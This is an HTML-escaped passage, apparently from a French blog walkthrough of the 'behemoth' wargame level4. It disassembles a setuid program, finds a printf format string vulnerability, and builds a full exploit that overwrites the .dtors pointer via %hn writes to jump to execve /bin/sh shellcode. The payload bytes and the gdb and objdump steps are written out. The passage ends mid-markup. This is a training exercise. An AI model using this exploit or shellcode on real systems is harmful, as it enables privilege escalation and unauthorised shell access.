'&gt;0x080483f5&lt;/span&gt; &lt;span style='color:#d2cd86; '&gt;&amp;lt;&lt;/span&gt;main&lt;span style='color:#d2cd86; '&gt;+&lt;/span&gt;&lt;span style='color:#008c00; '&gt;1&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;&gt;&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;:&lt;/span&gt;    &lt;span style='color:#e66170; font-weight:bold; '&gt;mov&lt;/span&gt;    &lt;span style='color:#d2cd86; '&gt;%&lt;/span&gt;&lt;span style='color:#d0d09f; '&gt;esp&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;,&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;%&lt;/span&gt;&lt;span style='color:#d0d09f; '&gt;ebp&lt;/span&gt;&lt;br /&gt;&lt;span style='color:#00a800; '&gt;0x080483f7&lt;/span&gt; &lt;span style='color:#d2cd86; '&gt;&amp;lt;&lt;/span&gt;main&lt;span style='color:#d2cd86; '&gt;+&lt;/span&gt;&lt;span style='color:#008c00; '&gt;3&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;&gt;&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;:&lt;/span&gt;    &lt;span style='color:#e66170; font-weight:bold; '&gt;sub&lt;/span&gt;    $&lt;span style='color:#00a800; '&gt;0xe8&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;,&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;%&lt;/span&gt;&lt;span style='color:#d0d09f; '&gt;esp&lt;/span&gt;&lt;br /&gt;&lt;span style='color:#00a800; '&gt;0x080483fd&lt;/span&gt; &lt;span style='color:#d2cd86; '&gt;&amp;lt;&lt;/span&gt;main&lt;span style='color:#d2cd86; '&gt;+&lt;/span&gt;&lt;span style='color:#008c00; '&gt;9&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;&gt;&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;:&lt;/span&gt;    &lt;span style='color:#e66170; font-weight:bold; '&gt;and&lt;/span&gt;    $&lt;span style='color:#00a800; '&gt;0xfffffff0&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;,&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;%&lt;/span&gt;&lt;span style='color:#d0d09f; '&gt;esp&lt;/span&gt;&lt;br /&gt;&lt;span style='color:#00a800; '&gt;0x08048400&lt;/span&gt; &lt;span style='color:#d2cd86; '&gt;&amp;lt;&lt;/span&gt;main&lt;span style='color:#d2cd86; '&gt;+&lt;/span&gt;&lt;span style='color:#008c00; '&gt;12&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;&gt;&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;:&lt;/span&gt;   &lt;span style='color:#e66170; font-weight:bold; '&gt;mov&lt;/span&gt;    $&lt;span style='color:#00a800; '&gt;0x0&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;,&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;%&lt;/span&gt;&lt;span style='color:#d0d09f; '&gt;eax&lt;/span&gt;&lt;br /&gt;&lt;span style='color:#00a800; '&gt;0x08048405&lt;/span&gt; &lt;span style='color:#d2cd86; '&gt;&amp;lt;&lt;/span&gt;main&lt;span style='color:#d2cd86; '&gt;+&lt;/span&gt;&lt;span style='color:#008c00; '&gt;17&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;&gt;&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;:&lt;/span&gt;   &lt;span style='color:#e66170; font-weight:bold; '&gt;add&lt;/span&gt;    $&lt;span style='color:#00a800; '&gt;0xf&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;,&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;%&lt;/span&gt;&lt;span style='color:#d0d09f; '&gt;eax&lt;/span&gt;&lt;br /&gt;&lt;span style='color:#00a800; '&gt;0x08048408&lt;/span&gt; &lt;span style='color:#d2cd86; '&gt;&amp;lt;&lt;/span&gt;main&lt;span style='color:#d2cd86; '&gt;+&lt;/span&gt;&lt;span style='color:#008c00; '&gt;20&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;&gt;&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;:&lt;/span&gt;   &lt;span style='color:#e66170; font-weight:bold; '&gt;add&lt;/span&gt;    $&lt;span style='color:#00a800; '&gt;0xf&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;,&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;%&lt;/span&gt;&lt;span style='color:#d0d09f; '&gt;eax&lt;/span&gt;&lt;br /&gt;&lt;span style='color:#00a800; '&gt;0x0804840b&lt;/span&gt; &lt;span style='color:#d2cd86; '&gt;&amp;lt;&lt;/span&gt;main&lt;span style='color:#d2cd86; '&gt;+&lt;/span&gt;&lt;span style='color:#008c00; '&gt;23&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;&gt;&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;:&lt;/span&gt;   &lt;span style='color:#e66170; font-weight:bold; '&gt;shr&lt;/span&gt;    $&lt;span style='color:#00a800; '&gt;0x4&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;,&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;%&lt;/span&gt;&lt;span style='color:#d0d09f; '&gt;eax&lt;/span&gt;&lt;br /&gt;&lt;span style='color:#00a800; '&gt;0x0804840e&lt;/span&gt; &lt;span style='color:#d2cd86; '&gt;&amp;lt;&lt;/span&gt;main&lt;span style='color:#d2cd86; '&gt;+&lt;/span&gt;&lt;span style='color:#008c00; '&gt;26&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;&gt;&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;:&lt;/span&gt;   &lt;span style='color:#e66170; font-weight:bold; '&gt;shl&lt;/span&gt;    $&lt;span style='color:#00a800; '&gt;0x4&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;,&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;%&lt;/span&gt;&lt;span style='color:#d0d09f; '&gt;eax&lt;/span&gt;&lt;br /&gt;&lt;span style='color:#00a800; '&gt;0x08048411&lt;/span&gt; &lt;span style='color:#d2cd86; '&gt;&amp;lt;&lt;/span&gt;main&lt;span style='color:#d2cd86; '&gt;+&lt;/span&gt;&lt;span style='color:#008c00; '&gt;29&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;&gt;&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;:&lt;/span&gt;   &lt;span style='color:#e66170; font-weight:bold; '&gt;sub&lt;/span&gt;    &lt;span style='color:#d2cd86; '&gt;%&lt;/span&gt;&lt;span style='color:#d0d09f; '&gt;eax&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;,&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;%&lt;/span&gt;&lt;span style='color:#d0d09f; '&gt;esp&lt;/span&gt;&lt;br /&gt;&lt;span style='color:#00a800; '&gt;0x08048413&lt;/span&gt; &lt;span style='color:#d2cd86; '&gt;&amp;lt;&lt;/span&gt;main&lt;span style='color:#d2cd86; '&gt;+&lt;/span&gt;&lt;span style='color:#008c00; '&gt;31&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;&gt;&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;:&lt;/span&gt;   movl   $&lt;span style='color:#00a800; '&gt;0x3ed&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;,&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;(&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;%&lt;/span&gt;&lt;span style='color:#d0d09f; '&gt;esp&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;)&lt;/span&gt;&lt;br /&gt;&lt;span style='color:#00a800; '&gt;0x0804841a&lt;/span&gt; &lt;span style='color:#d2cd86; '&gt;&amp;lt;&lt;/span&gt;main&lt;span style='color:#d2cd86; '&gt;+&lt;/span&gt;&lt;span style='color:#008c00; '&gt;38&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;&gt;&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;:&lt;/span&gt;   &lt;span style='color:#e66170; font-weight:bold; '&gt;call&lt;/span&gt;   &lt;span style='color:#e34adc; '&gt;0x80482ec&lt;/span&gt; &lt;span style='color:#d2cd86; '&gt;&amp;lt;&lt;/span&gt;seteuid@plt&lt;span style='color:#d2cd86; '&gt;&gt;&lt;br /&gt;&lt;/span&gt; &lt;span style='color:#9999a9; '&gt;; setuid(1005) : La il nous mache un peu le travail...&lt;/span&gt;&lt;br /&gt;&lt;span style='color:#00a800; '&gt;0x0804841f&lt;/span&gt; &lt;span style='color:#d2cd86; '&gt;&amp;lt;&lt;/span&gt;main&lt;span style='color:#d2cd86; '&gt;+&lt;/span&gt;&lt;span style='color:#008c00; '&gt;43&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;&gt;&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;:&lt;/span&gt;   movl   $&lt;span style='color:#00a800; '&gt;0x8048568&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;,&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;(&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;%&lt;/span&gt;&lt;span style='color:#d0d09f; '&gt;esp&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;)&lt;/span&gt;&lt;br /&gt;&lt;span style='color:#00a800; '&gt;0x08048426&lt;/span&gt; &lt;span style='color:#d2cd86; '&gt;&amp;lt;&lt;/span&gt;main&lt;span style='color:#d2cd86; '&gt;+&lt;/span&gt;&lt;span style='color:#008c00; '&gt;50&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;&gt;&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;:&lt;/span&gt;   &lt;span style='color:#e66170; font-weight:bold; '&gt;call&lt;/span&gt;   &lt;span style='color:#e34adc; '&gt;0x804831c&lt;/span&gt; &lt;span style='color:#d2cd86; '&gt;&amp;lt;&lt;/span&gt;printf@plt&lt;span style='color:#d2cd86; '&gt;&gt;&lt;br /&gt;&lt;/span&gt;  &lt;span style='color:#9999a9; '&gt;; printf("Identify yourself:")&lt;/span&gt;&lt;br /&gt;&lt;span style='color:#00a800; '&gt;0x0804842b&lt;/span&gt; &lt;span style='color:#d2cd86; '&gt;&amp;lt;&lt;/span&gt;main&lt;span style='color:#d2cd86; '&gt;+&lt;/span&gt;&lt;span style='color:#008c00; '&gt;55&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;&gt;&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;:&lt;/span&gt;   &lt;span style='color:#e66170; font-weight:bold; '&gt;mov&lt;/span&gt;    &lt;span style='color:#00a800; '&gt;0x8049698&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;,&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;%&lt;/span&gt;&lt;span style='color:#d0d09f; '&gt;eax&lt;/span&gt;&lt;br /&gt;&lt;span style='color:#00a800; '&gt;0x08048430&lt;/span&gt; &lt;span style='color:#d2cd86; '&gt;&amp;lt;&lt;/span&gt;main&lt;span style='color:#d2cd86; '&gt;+&lt;/span&gt;&lt;span style='color:#008c00; '&gt;60&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;&gt;&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;:&lt;/span&gt;   &lt;span style='color:#e66170; font-weight:bold; '&gt;mov&lt;/span&gt;    &lt;span style='color:#d2cd86; '&gt;%&lt;/span&gt;&lt;span style='color:#d0d09f; '&gt;eax&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;,&lt;/span&gt;&lt;span style='color:#00a800; '&gt;0x8&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;(&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;%&lt;/span&gt;&lt;span style='color:#d0d09f; '&gt;esp&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;)&lt;/span&gt;&lt;br /&gt;&lt;span style='color:#00a800; '&gt;0x08048434&lt;/span&gt; &lt;span style='color:#d2cd86; '&gt;&amp;lt;&lt;/span&gt;main&lt;span style='color:#d2cd86; '&gt;+&lt;/span&gt;&lt;span style='color:#008c00; '&gt;64&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;&gt;&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;:&lt;/span&gt;   movl   $&lt;span style='color:#00a800; '&gt;0xc8&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;,&lt;/span&gt;&lt;span style='color:#00a800; '&gt;0x4&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;(&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;%&lt;/span&gt;&lt;span style='color:#d0d09f; '&gt;esp&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;)&lt;/span&gt;&lt;br /&gt;&lt;span style='color:#00a800; '&gt;0x0804843c&lt;/span&gt; &lt;span style='color:#d2cd86; '&gt;&amp;lt;&lt;/span&gt;main&lt;span style='color:#d2cd86; '&gt;+&lt;/span&gt;&lt;span style='color:#008c00; '&gt;72&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;&gt;&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;:&lt;/span&gt;   &lt;span style='color:#e66170; font-weight:bold; '&gt;lea&lt;/span&gt;    &lt;span style='color:#00a800; '&gt;0xffffff28&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;(&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;%&lt;/span&gt;&lt;span style='color:#d0d09f; '&gt;ebp&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;)&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;,&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;%&lt;/span&gt;&lt;span style='color:#d0d09f; '&gt;eax&lt;/span&gt;&lt;br /&gt;&lt;span style='color:#00a800; '&gt;0x08048442&lt;/span&gt; &lt;span style='color:#d2cd86; '&gt;&amp;lt;&lt;/span&gt;main&lt;span style='color:#d2cd86; '&gt;+&lt;/span&gt;&lt;span style='color:#008c00; '&gt;78&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;&gt;&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;:&lt;/span&gt;   &lt;span style='color:#e66170; font-weight:bold; '&gt;mov&lt;/span&gt;    &lt;span style='color:#d2cd86; '&gt;%&lt;/span&gt;&lt;span style='color:#d0d09f; '&gt;eax&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;,&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;(&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;%&lt;/span&gt;&lt;span style='color:#d0d09f; '&gt;esp&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;)&lt;/span&gt;&lt;br /&gt;&lt;span style='color:#00a800; '&gt;0x08048445&lt;/span&gt; &lt;span style='color:#d2cd86; '&gt;&amp;lt;&lt;/span&gt;main&lt;span style='color:#d2cd86; '&gt;+&lt;/span&gt;&lt;span style='color:#008c00; '&gt;81&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;&gt;&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;:&lt;/span&gt;   &lt;span style='color:#e66170; font-weight:bold; '&gt;call&lt;/span&gt;   &lt;span style='color:#e34adc; '&gt;0x80482fc&lt;/span&gt; &lt;span style='color:#d2cd86; '&gt;&amp;lt;&lt;/span&gt;fgets@plt&lt;span style='color:#d2cd86; '&gt;&gt;&lt;br /&gt;&lt;/span&gt;   &lt;span style='color:#9999a9; '&gt;; fgets() pour saisir le nom&lt;/span&gt;&lt;br /&gt;&lt;span style='color:#00a800; '&gt;0x0804844a&lt;/span&gt; &lt;span style='color:#d2cd86; '&gt;&amp;lt;&lt;/span&gt;main&lt;span style='color:#d2cd86; '&gt;+&lt;/span&gt;&lt;span style='color:#008c00; '&gt;86&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;&gt;&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;:&lt;/span&gt;   movl   $&lt;span style='color:#00a800; '&gt;0x804857c&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;,&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;(&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;%&lt;/span&gt;&lt;span style='color:#d0d09f; '&gt;esp&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;)&lt;/span&gt;&lt;br /&gt;&lt;span style='color:#00a800; '&gt;0x08048451&lt;/span&gt; &lt;span style='color:#d2cd86; '&gt;&amp;lt;&lt;/span&gt;main&lt;span style='color:#d2cd86; '&gt;+&lt;/span&gt;&lt;span style='color:#008c00; '&gt;93&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;&gt;&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;:&lt;/span&gt;   &lt;span style='color:#e66170; font-weight:bold; '&gt;call&lt;/span&gt;   &lt;span style='color:#e34adc; '&gt;0x804831c&lt;/span&gt; &lt;span style='color:#d2cd86; '&gt;&amp;lt;&lt;/span&gt;printf@plt&lt;span style='color:#d2cd86; '&gt;&gt;&lt;br /&gt;&lt;/span&gt;  &lt;span style='color:#9999a9; '&gt;; printf("Welcome")&lt;/span&gt;&lt;br /&gt;&lt;span style='color:#00a800; '&gt;0x08048456&lt;/span&gt; &lt;span style='color:#d2cd86; '&gt;&amp;lt;&lt;/span&gt;main&lt;span style='color:#d2cd86; '&gt;+&lt;/span&gt;&lt;span style='color:#008c00; '&gt;98&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;&gt;&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;:&lt;/span&gt;   &lt;span style='color:#e66170; font-weight:bold; '&gt;lea&lt;/span&gt;    &lt;span style='color:#00a800; '&gt;0xffffff28&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;(&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;%&lt;/span&gt;&lt;span style='color:#d0d09f; '&gt;ebp&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;)&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;,&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;%&lt;/span&gt;&lt;span style='color:#d0d09f; '&gt;eax&lt;/span&gt;&lt;br /&gt;&lt;span style='color:#00a800; '&gt;0x0804845c&lt;/span&gt; &lt;span style='color:#d2cd86; '&gt;&amp;lt;&lt;/span&gt;main&lt;span style='color:#d2cd86; '&gt;+&lt;/span&gt;&lt;span style='color:#008c00; '&gt;104&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;&gt;&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;:&lt;/span&gt;  &lt;span style='color:#e66170; font-weight:bold; '&gt;mov&lt;/span&gt;    &lt;span style='color:#d2cd86; '&gt;%&lt;/span&gt;&lt;span style='color:#d0d09f; '&gt;eax&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;,&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;(&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;%&lt;/span&gt;&lt;span style='color:#d0d09f; '&gt;esp&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;)&lt;/span&gt;&lt;br /&gt;&lt;span style='color:#00a800; '&gt;0x0804845f&lt;/span&gt; &lt;span style='color:#d2cd86; '&gt;&amp;lt;&lt;/span&gt;main&lt;span style='color:#d2cd86; '&gt;+&lt;/span&gt;&lt;span style='color:#008c00; '&gt;107&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;&gt;&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;:&lt;/span&gt;  &lt;span style='color:#e66170; font-weight:bold; '&gt;call&lt;/span&gt;   &lt;span style='color:#e34adc; '&gt;0x804831c&lt;/span&gt; &lt;span style='color:#d2cd86; '&gt;&amp;lt;&lt;/span&gt;printf@plt&lt;span style='color:#d2cd86; '&gt;&gt;&lt;br /&gt;&lt;/span&gt;  &lt;span style='color:#9999a9; '&gt;; printf(nom) &amp;lt;= Format String Vulnerability&lt;/span&gt;&lt;br /&gt;&lt;span style='color:#00a800; '&gt;0x08048464&lt;/span&gt; &lt;span style='color:#d2cd86; '&gt;&amp;lt;&lt;/span&gt;main&lt;span style='color:#d2cd86; '&gt;+&lt;/span&gt;&lt;span style='color:#008c00; '&gt;112&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;&gt;&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;:&lt;/span&gt;  &lt;span style='color:#e66170; font-weight:bold; '&gt;mov&lt;/span&gt;    $&lt;span style='color:#00a800; '&gt;0x0&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;,&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;%&lt;/span&gt;&lt;span style='color:#d0d09f; '&gt;eax&lt;/span&gt;&lt;br /&gt;&lt;span style='color:#00a800; '&gt;0x08048469&lt;/span&gt; &lt;span style='color:#d2cd86; '&gt;&amp;lt;&lt;/span&gt;main&lt;span style='color:#d2cd86; '&gt;+&lt;/span&gt;&lt;span style='color:#008c00; '&gt;117&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;&gt;&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;:&lt;/span&gt;  &lt;span style='color:#e66170; font-weight:bold; '&gt;leave&lt;/span&gt;&lt;br /&gt;&lt;span style='color:#00a800; '&gt;0x0804846a&lt;/span&gt; &lt;span style='color:#d2cd86; '&gt;&amp;lt;&lt;/span&gt;main&lt;span style='color:#d2cd86; '&gt;+&lt;/span&gt;&lt;span style='color:#008c00; '&gt;118&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;&gt;&lt;/span&gt;&lt;span style='color:#d2cd86; '&gt;:&lt;/span&gt;  &lt;span style='color:#e66170; font-weight:bold; '&gt;ret&lt;/span&gt;&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;On va maintenant explorer un peu la stack pour savoir a partir de quel argument on retombe sur le buffer qu'on controle...&lt;br /&gt;(Je vous invite a lire ceci si arrivé ici rien n'est clair pour vous : http://crypto.stanford.edu/cs155old/cs155-spring08/papers/formatstring-1.2.pdf)&lt;br /&gt;&lt;br /&gt;&lt;div style="border: 1px solid white;"&gt;level4@behemoth:/wargame$ (python -c "print '%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x'") | ./level4&lt;br /&gt;Identify yourself: Welcome, 000000c8.b7fe0300.b7eb634c.b7ebea1c.b7ec3b6e.00000000.00000000.78383025.3830252e.30252e78&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;On voit donc qu'on atteind notre buffer a partir du 8eme argument (car il contient nos %.08x ...)&lt;br /&gt;&lt;br /&gt;Le but sera donc de réécrire un pointeur particulier, pointeur sur une fonction vers laquelle le programme sautera a un moment donné... Tant qu'a faire, autant que cette fonction soit la notre :p.&lt;br /&gt;&lt;br /&gt;On décide ici de réécrire le pointeur .dtor =&gt; Destructeur de la fonction main(), qui qera logiquement exécuté a la fin du programme. Trouvons tout d'abord son adresse:&lt;br /&gt;&lt;br /&gt;&lt;div style="border: 1px solid white;"&gt;level4@behemoth:/wargame$ objdump -x level4|grep dtor&lt;br /&gt; 16 .dtors        00000008  08049594  08049594  00000594  2**2&lt;br /&gt;08049594 l    d  .dtors 00000000              .dtors&lt;br /&gt;08049594 l     O .dtors 00000000              __DTOR_LIST__&lt;br /&gt;08048390 l     F .text  00000000              __do_global_dtors_aux&lt;br /&gt;08049598 l     O .dtors 00000000              __DTOR_END__ ================&gt; ICI :)&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Donc il faudra écrire a l'adresse 0x08049598.&lt;br /&gt;&lt;br /&gt;Pour faire simple, on va placer un shellcode dans le buffer et sauter dessus.&lt;br /&gt;&lt;br /&gt;On va tout d'abord déterminer l'adresse de notre buffer a la sale, ensuite on vérifiera proprement:&lt;br /&gt;&lt;br /&gt;&lt;div style="border: 1px solid white;"&gt;level4@behemoth:/wargame$ gdb level4&lt;br /&gt;(...)&lt;br /&gt;(gdb) b *main +118&lt;br /&gt;Breakpoint 1 at 0x804846a&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;donc on pose un breakpoint juste avant le ret de main()&lt;br /&gt;&lt;br /&gt;&lt;div style="border: 1px solid white;"&gt;(gdb) r&lt;br /&gt;Starting program: /wargame/level4&lt;br /&gt;Identify yourself: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&lt;br /&gt;Welcome, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&lt;br /&gt;&lt;br /&gt;Breakpoint 1, 0x0804846a in main ()&lt;br /&gt;(gdb) x/256x $esp-256&lt;br /&gt;0xbffff91c:     0x08048464      0xbffff940      0x000000c8      0xb7fe0300&lt;br /&gt;0xbffff92c:     0xb7eb634c      0xb7ebea1c      0xb7ec3b6e      0x00000000&lt;br /&gt;0xbffff93c:     0x00000000      0x41414141      0x41414141      0x41414141&lt;br /&gt;0xbffff94c:     0x41414141      0x41414141      0x41414141      0x41414141&lt;br /&gt;0xbffff95c:     0x41414141      0x41414141      0x41414141      0x41414141&lt;br /&gt;0xbffff96c:     0x41414141      0x41414141      0x41414141      0x41414141&lt;br /&gt;0xbffff97c:     0x41414141      0x41414141      0x41414141      0x41414141&lt;br /&gt;0xbffff98c:     0x41414141      0x41414141      0x41414141      0x41414141&lt;br /&gt;0xbffff99c:     0x41414141      0x41414141      0x41414141      0x41414141&lt;br /&gt;0xbffff9ac:     0x41414141      0x41414141      0x00000a41      0x28000000&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Et on tombe direct sur notre buffer (rempli de 0x41='A') dont l'adresse est : 0xbffff940&lt;br /&gt;&lt;br /&gt;Maintenant proprement (Logiquement, juste avant printf(nom), l'adresse de nom est posée sur la pile , donc esp contient un pointeur vers notre buffer):&lt;br /&gt;&lt;br /&gt;&lt;div style="border: 1px solid white;"&gt;(gdb) d&lt;br /&gt;Delete all breakpoints? (y or n) y&lt;br /&gt;(gdb) b *main+107&lt;br /&gt;Breakpoint 2 at 0x804845f&lt;br /&gt;(gdb) r&lt;br /&gt;The program being debugged has been started already.&lt;br /&gt;Start it from the beginning? (y or n) y&lt;br /&gt;Starting program: /wargame/level4&lt;br /&gt;Identify yourself: AAAA&lt;br /&gt;&lt;br /&gt;Breakpoint 2, 0x0804845f in main ()&lt;br /&gt;&lt;br /&gt;(gdb) x/x $esp&lt;br /&gt;0xbffff920:     0xbffff940&lt;br /&gt;(gdb) x/s 0xbffff940&lt;br /&gt;0xbffff940:      "AAAA\n"&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Donc 0xbffff940 est bien l'adresse de notre buffer. Mais on doit lui ajouter 8, sinon on ne tombera pas au bon endroit, vous comprendrez pourquoi dans quelques linges : 0xbffff940+8=0xbffff948&lt;br /&gt;&lt;br /&gt;C'est donc cette adresse que l'on va devoir écrire à 0x08049598 (__DTOR_END__)&lt;br /&gt;&lt;br /&gt;Pour les format string, on écrit l'adresse en 2 temps. Le plus petit bloc en premier et le plus grand ensuite.&lt;br /&gt;&lt;br /&gt;&lt;div style="border: 1px solid white;"&gt;bfff = 49151 base 10&lt;br /&gt;f948 = 63816 base 10&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Notre exploit aura donc la forme:&lt;br /&gt;(Pour rappel %n permet d'écrire le nombre de caractères déja affichés par printf à une adresse donéne en argument... On utilise ici %hn car on veut érire l'adresse en deux fois, on écrit donc 4 octets au lieu de 8. Référez vous au man printf() pour + d'infos)&lt;br /&gt;&lt;br /&gt;&lt;div style="border: 1px solid white;"&gt;[dtor+2][dtor][shellcode][%. (49151 -(8 + longueur shellode)) u%8$hn][%. (63816- (49151) u%8$hn]&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;On va utiliser le shellcode classique suivant:&lt;br /&gt;&lt;br /&gt;&lt;div style="border: 1px solid white;"&gt;"\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Qui fait 23 de long.&lt;br /&gt;&lt;br /&gt;Donc:&lt;br /&gt;On affichera d'abord 49120 caractères&lt;br /&gt;Puis 63816-49151= 14665 caractères&lt;br /&gt;&lt;br /&gt;&lt;div style="border: 1px solid white;"&gt;[\x9a\x95\x04\x08][\x98\x95\x04\x08][\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80][%.49120u%8$hn][%.14665u%8$hn]&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;Vérifions ca sous gdb:&lt;br /&gt;&lt;br /&gt;&lt;div style="border: 1px solid white;"&gt;level4@behemoth:/wargame$ gdb level4&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;On pose un bp juste avant le ret de main()&lt;br /&gt;&lt;br /&gt;&lt;div style="border: 1px solid white;"&gt;(gdb) b *main+118&lt;br /&gt;Breakpoint 1 at 0x804846a&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;On lance notre programme avec notre exploit en entrée (merci Ivan pour le trick)&lt;br /&gt;&lt;br /&gt;&lt;div 